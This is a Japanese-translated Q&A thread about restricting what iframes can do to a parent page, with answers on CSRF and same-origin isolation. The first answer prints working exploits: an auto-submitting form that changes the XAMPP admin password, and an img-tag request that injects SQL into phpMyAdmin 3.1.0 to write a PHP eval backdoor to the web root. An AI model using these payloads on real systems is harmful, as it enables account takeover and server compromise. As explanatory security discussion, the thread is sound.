2

親でiframeに許可されていることを制限する方法はありますか？私が探しているのは、次のようなJavascriptを取り巻くセキュリティモデルです。

...
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript">
function AllowedToAccess()
{
}

function NotAllowedToAccess()
{
}
</script>
<security>
iframe {
  Deny All;
  Allow javascript:AllowedToAccess();
}

iframe script.untrusted {
  Deny All;
}
</security>
<iframe src="trusted.html"></iframe>
<iframe src="http://www.somesite.com/trusted.html"></iframe>
...

両方の'trusted.htmlは次のようになります。

<html><body>
<script type="text/javascript">
function InternalCall()
{
  window.parent.AllowedToAccess();
}

function InternalCall2()
{
  window.parent.NotAllowedToAccess();
}
</script>
<security>
javascript:window.parent {
  Allow javascript:document.body.offsetHeight;
  Allow javascript:document.title;
}

script.untrusted {
  Deny All;
}
</security>
<script type="text/javascript">
window.parent.AllowedToAccess();
InternalCall();
</script>
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script>
<script type="text/javascript">
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldnt.php');
</script>
</body>
</html>

そして、「SomethingIShouldnt.php」は次のようになります。

NotAllowedToAccess();

そして、「untrusted.js」は次のようになります。

window.parent.AllowedToAccess();
InternalCall();
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');

（ええと...やり過ぎてごめんなさい。）

HTMLコードに存在しない「セキュリティ」タグがあります。ルールを定義するためにApacheのようなセキュリティ構文が混在しているCSSセレクター風の宣言に沿って何かを考えていました。（私はwindow.parentルールを利用しませんでしたが、クロスサイトスクリプティングをブロックするブラウザーに対して適切な回避策を示していることを願っています。タイトル"）。私はこのようなものがすでに何らかの形で存在していることを望んでいます（ドラフト仕様でさえ）。しかし、私は答えが「いいえ」になるのではないかと心配しています。

これは（部分的にでも）実行できますか？そうでない場合は、このようなものを実装するために誰と話す必要がありますか（標準委員会またはブラウザーの実装者）？もちろん、これは意味があると仮定しますか？

4

2 に答える 2

5

XSRF は iframe とは何の関係もありません。

偽造されたリクエストが iframe から発信されたかどうかは問題ではありません。攻撃者が悪用するには、偽造されたリクエストが別のサーバーから発信されている必要があります。ハッカーが iframe を使用するのは、エクスプロイトがフォーラムを自動的に送信するために JavaScript を使用する必要があるためです。これは、管理パスワードを変更する XAMPP に対して私が書いた実際の XSRF エクスプロイトです。この javascript/html を iframe で実行して、被害者に見えないようにするのが最善ですが、このエクスプロイトは、iframe なしでウィンドウ全体をリダイレクトするだけで、管理者のパスワードを変更します。

<html>
 <form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
           <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
  <input type=hidden name="xamppuser" value=admin >
  <input type=hidden name="xampppasswd" value=password>
  <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
  <input type=submit>
 </form>
</html>
<script>
 document.getElementById(1).submit();
</script>

しかし、XSRF 攻撃が GET ベースである場合、iframe は攻撃者にとって役に立ちません。img タグを使用して、偽造されたリクエストを被害者のブラウザに自動的に送信することをお勧めします。これは、phpMyAdmin 3.1.0 用に作成された私の別のエクスプロイトです。これにより、Web ルートに php バックドアがアップロードされます。このエクスプロイトは、noscript を有効にして機能し、多数のシステムに影響を与えるため、非常に優れています。

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
于 2010-01-26T04:39:39.947 に答える
1

Same Origin Policy (SOP) を有利に使用できます。

iframe src を別のポート、サブドメイン、またはドメインに設定すると、iframe は親コンテンツにアクセスできなくなります。

例: ページ

http://www.mydomain.com/mypage.html

iframe の場合は、次のいずれか

http://www.mydomain.com:4255/iframeSrc.html
http://secure.mydomain.com/iframeSrc.html
http://www.secure-mydomain.com/iframeSrc.html

ただし、ページで使用できる Cookie のみに依存している場合は、CSRF を防ぐことはできません。
サーバーにリクエストを POST する方法を知っている人は、それを実行できます。

これを防ぐ最も簡単な方法は、リクエストごとに渡す javascript 変数 (SOP によって iframe からアクセスできない) をページに含めることです。

興味があるかもしれませんが、スパムで申し訳ありませんが、今日 SO に投稿したように、iframe を使用して JSONP 呼び出しをサンドボックス化しますが、それらの間の安全な文字列通信を有効にします。

これがどのように機能するかの説明と、実行中のデモ ページがあります。

于 2010-01-26T11:02:16.127 に答える